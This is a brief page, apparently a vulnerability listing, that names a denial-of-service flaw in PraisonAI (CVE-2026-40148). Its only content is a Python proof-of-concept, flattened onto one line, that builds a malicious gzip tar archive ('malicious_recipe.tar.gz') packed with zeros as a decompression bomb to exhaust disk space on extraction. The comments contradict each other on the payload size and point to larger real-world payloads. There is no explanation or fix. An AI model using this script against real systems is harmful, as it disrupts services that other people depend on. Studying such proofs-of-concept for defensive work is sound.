CVE-2026-40148 PraisonAI拒绝服务漏洞

import tarfile import io # Create a malicious archive (Zip bomb / Decompression bomb) # This script creates a tar file containing a file with a large amount of zeros. # When extracted, it consumes significant disk space. def create_malicious_tar(output_filename): # Create an in-memory byte stream with io.BytesIO() as stream: with tarfile.open(fileobj=stream, mode='w:gz') as tar: # Add a file containing 1GB of zeros (sparse file concept or just zeros) # Note: In a real exploit, this would be much larger (e.g., 10GB) data = b'\x00' * (1024 * 1024 * 100) # 100MB of zeros for demonstration info = tarfile.TarInfo(name="large_file.bin") info.size = len(data) tar.addfile(info, io.BytesIO(data)) # Write the compressed stream to a file with open(output_filename, 'wb') as f: f.write(stream.getvalue()) print(f"[+] Malicious archive '{output_filename}' created.") if __name__ == "__main__": create_malicious_tar("malicious_recipe.tar.gz")